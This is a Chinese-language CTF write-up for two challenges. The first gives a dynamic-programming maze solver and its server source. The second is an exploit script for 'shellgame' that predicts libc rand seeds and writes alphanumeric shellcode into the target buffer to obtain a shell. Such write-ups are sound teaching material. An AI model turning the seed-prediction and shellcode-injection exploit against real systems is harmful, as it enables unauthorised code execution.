checkin Let’s play mazegame:

本来是作为签到题的 但是我的col写成了row 但是不让动态patch 所以公告上的patch给选手带来了很多不便在此表示抱歉

其主要思路就是dp选最大路径

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
import string
from hashlib import sha256
from tqdm import tqdm

r = remote('127.0.0.1', 10002)
N = 750
def PoW(r, l):
r.recvuntil(b'XXXX+')
nonce = r.recvuntil(b')')[:-1].decode()
r.recvuntil(b'== ')
target = r.recvuntil(b'\n')[:-1].decode()
print(nonce, target)
dit = string.ascii_letters + string.digits
for i in tqdm(range(pow(len(dit), l))):
tmp = i
res = ''
for j in range(l):
res += dit[tmp % len(dit)]
tmp //= len(dit)
if sha256((res + nonce).encode()).hexdigest() == target:
r.sendline(res.encode())
print()
print(res)
return

PoW(r, 4)
mat = []
r.recvuntil(b'map of maze:\n')
while 1:
r.recvuntil(b'[+] ')
if r.recv(1) != b'c': break
r.recvuntil(b'ol ')
i = int(r.recvuntil(b': ')[:-2].decode())
col = r.recvuntil(b'\n')[:-1].decode().split(' ')
mat.append([int(x) for x in col])

dp = [[0 for j in range(N)] for i in range(N)]
path = [[0 for j in range(N)] for i in range(N)]
for i in range(N): dp[0][i] = mat[0][i]
for i in range(1, N):
for j in range(N):
if dp[i][j] < dp[i - 1][j] + mat[i][j]:
dp[i][j] = dp[i - 1][j] + mat[i][j]
path[i][j] = j
if j > 0 and dp[i][j] < dp[i - 1][j - 1] + mat[i][j]:
dp[i][j] = dp[i - 1][j - 1] + mat[i][j]
path[i][j] = j - 1
if j < N - 1 and dp[i][j] < dp[i - 1][j + 1] + mat[i][j]:
dp[i][j] = dp[i - 1][j + 1] + mat[i][j]
path[i][j] = j + 1
res = max(dp[-1])
idx = dp[-1].index(res)
pathlis = [idx]
for i in range(1, N)[::-1]:
pathlis = [path[i][idx]] + pathlis
idx = path[i][idx]
res = ''
for x in pathlis:
res += str(x) + ' '
# print(res)
r.recvuntil(b'by only one space):\n[-] ')
r.sendline(res[:-1].encode())
print(r.recvline())

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from random import randint
from hashlib import sha256
import signal
import string
import random
import os

flag = r'flag{test_text}'
mat_size = 750

def question(n = 30):
res = [[randint(0, 10000) for x in range(n)] for y in range(n)]
return res

def get_max(mat):
dp = [[0 for x in range(len(mat[0]))] for y in range(len(mat))]
for i in range(len(mat[0])): dp[0][i] = mat[0][i]
for i in range(1, len(mat)):
for j in range(len(mat[i])):
dp[i][j] = max(dp[i][j], dp[i - 1][j] + mat[i][j])
if j > 0: dp[i][j] = max(dp[i][j], dp[i - 1][j - 1] + mat[i][j])
if j < len(mat[i]) - 1: dp[i][j] = max(dp[i][j], dp[i - 1][j + 1] + mat[i][j])
res = max(dp[len(mat) - 1])
idx = dp[len(mat) - 1].index(res)
path = [idx]
for i in range(0, len(mat) - 1)[::-1]:
if idx > 0 and dp[i][idx - 1] + mat[i + 1][idx] == dp[i + 1][idx]: idx -= 1
elif idx < len(mat[i]) - 1 and dp[i][idx + 1] + mat[i + 1][idx] == dp[i + 1][idx]: idx += 1
path = [idx] + path
assert check(mat, path, res)
return res

def check(mat, path, res):
try:
if len(path) != len(mat): return False
for i in range(1, len(path)):
if abs(path[i] - path[i - 1]) > 1: return False
test = 0
for i in range(len(mat)): test += mat[i][path[i]]
return test == res
except Exception as e:
return False

BANNER = br'''
___ ___ ___ ___ ___ ___ ___ ___ ___ ___
|\__\ /\ \ /\ \ /\ \ /\ \ /\ \ /\ \ /\ \ /\ \ /\ \
|:| | /::\ \ \:\ \ /::\ \ /::\ \ /::\ \ /::\ \ /::\ \ /::\ \ /::\ \
|:| | /:/\:\ \ \:\ \ /:/\:\ \ /:/\:\ \ /:/\:\ \ /:/\:\ \ /:/\:\ \ /:/\:\ \ /:/\:\ \
|:|__|__ /:/ \:\ \ /::\ \ /::\~\:\ \ /:/ \:\ \ /:/ \:\ \ /:/ \:\ \ /:/ \:\ \ /:/ \:\ \ /:/ \:\ \
____/::::\__\ /:/__/ \:\__\ /:/\:\__\ /:/\:\ \:\__\ /:/__/_\:\__\ /:/__/ \:\__\ /:/__/_\:\__\ /:/__/ \:\__\ /:/__/_\:\__\ /:/__/ \:\__\
\::::/~~/~ \:\ \ \/__/ /:/ \/__/ \/__\:\ \/__/ \:\ /\ \/__/ \:\ \ /:/ / \:\ /\ \/__/ \:\ \ /:/ / \:\ /\ \/__/ \:\ \ /:/ /
~~|:|~~| \:\ \ /:/ / \:\__\ \:\ \:\__\ \:\ /:/ / \:\ \:\__\ \:\ /:/ / \:\ \:\__\ \:\ /:/ /
|:| | \:\ \ \/__/ \/__/ \:\/:/ / \:\/:/ / \:\/:/ / \:\/:/ / \:\/:/ / \:\/:/ /
|:| | \:\__\ \::/ / \::/ / \::/ / \::/ / \::/ / \::/ /
\|__| \/__/ \/__/ \/__/ \/__/ \/__/ \/__/ \/__/
'''

def proof_of_work():
random.seed(os.urandom(8))
proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in range(20)])
_hexdigest = sha256(proof.encode()).hexdigest()
print(f"[+] sha256(XXXX+{proof[4:]}) == {_hexdigest}")
x = input('[+] Plz tell me XXXX: ').encode()
if len(x) != 4 or sha256(x+proof[4:].encode()).hexdigest() != _hexdigest:
return False
return True


print(BANNER)
if not proof_of_work():
print(b'[!] Wrong!')
exit()

mat = question(mat_size)
res = get_max(mat)
print('[+] Welcome my friend!')
print(f'[+] Can you earn ${res} from the $ maze?')
print('[+] You can choose any room as entrance from left, any room as exit from right.')
print('[+] But you can only choose the right, up-right or down-right room to go.')
print('[+] And the top and bottom of this maze is wall, which means YOU SHALL NOT PASS!')
print('[+] Now try your best! There is your map of maze:')
for i in range(len(mat)):
text = f'col {i}:'
for x in mat[i]:
text += f' {x}'
print(f'[+] {text}')
print('[+] Give me your path, the row number from left to right(split by only one space):')
signal.alarm(1)
data = input('[-] ')
path = [int(x) for x in data.split(' ')]
if check(mat, path, res): print('[+] Wow! Here is your flag: ' + flag)
else: print('[-] Faster Faster Faster!')

Let’s play shellgame:

通过部分序列推断源种子,根据源种子计算得到当前src数组的hex值,然后根据解码后打乱的shellcode爆破得到每一步需要的种子数,覆盖种子将其修改为shellcode即可

另外关于pid取值的部分可以考虑自己写一个相关的程序(比如输出getpid())然后将docker跑起来也能拿到getpid()恒为1

其实感觉估计大多数选手在pwn的部分并没有问题而卡在了关于getpid()这个问题 由于本题归到misc里 其目的主要是希望选手可以在遇到奇怪的地方自己本地搭个环境 然后通过环境拿到需要的东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *
from ctypes import *
#io=process('./shellgame')
io=remote('127.0.0.1',11451)
context.arch='amd64'
context.log_level='debug'
libc = ELF('./libc.so.6')
rl = lambda a=False: io.recvline(a)
ru = lambda a, b=True: io.recvuntil(a, b)
rn = lambda x: io.recvn(x)
sn = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda a, b: io.sendafter(a, b)
sla = lambda a, b: io.sendlineafter(a, b)
irt = lambda: io.interactive()
dbg = lambda text=None: gdb.attach(io, text)
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data: u32(data.ljust(4, b'\x00'))
uu64 = lambda data: u64(data.ljust(8, b'\x00'))
clib = cdll.LoadLibrary("./libc.so.6")
ru("Your lucky number is:\n")
line = io.recvline().decode()
data = line.split(' ')[:-1]

src = []
for i in data:
src.append(int(i[2:]))
for i in range(len(src)):
if src[i] < 0:
src[i] = 0x100 + src[i]
seed = 0
for i in range(0x101):
clib.srand(i)
flag = 0
for j in range(10):
t = clib.rand() % 0x100
if t != src[j]:
flag = 1
break

if flag == 0:
seed = i
break
src = [0 for i in range(161)]
clib.srand(seed)
for i in range(161):
src[i] = clib.rand() % 0x100

seedlist = []
#shellcode = "W828Rvj8jf9zfYWj3hzZR9HR8ZYTT5ik0ZC839i3TjAiZTCRTiW88Bj0itY4Wfe99YoT08PTbfAf88i038sCWYfstX119TX00ZUtnYDSPZTJTX00TTA0AnmTYAjKT090T4iWjYH80iY1W"
shellcode="W828Rvj8jf9zfYWj3hzZR9HR8ZYTT5ik0ZC839i3TjAiZTCRTiW88Bj0itY4Wfe99YoT08PTbfAf88i038sCWYfstX119TX00ZUtnYDSPZTJTX00TTA0AnmTYAjKT090T4iWjYH80iY1W"
des=[]
for i in range(len(shellcode)+1):
if i!=len(shellcode):
des.append(hex(ord(shellcode[i])))
else:
des.append(hex(0))

print(des)
des=[]
for i in range(len(shellcode)+1):
if i!=len(shellcode):
des.append(ord(shellcode[i]))
else:
des.append(0)
for i in range(len(shellcode)+1):
t = des[i] - src[i]
if t < 0:
t += 0x100
for j in range(0x2000):
clib.srand(j)
if clib.rand() % 0x100 == t:
seedlist.append(j)
break
src[i + 1] = (src[i + 1] + clib.rand() % 0x100) % 0x100
src[i + 2] = (src[i + 2] + clib.rand() % 0x100) % 0x100
print(seedlist)

def add(idx,seed):
sa('> ',str(1).ljust(0x10,'\x00')+p32(seed))
sa('> ',str(idx).ljust(0x14,'\x00'))
for i in range(1,len(seedlist)+1):
add(i,seedlist[i-1])
io.send(str(4).ljust(0x14,'\x00'))

io.interactive()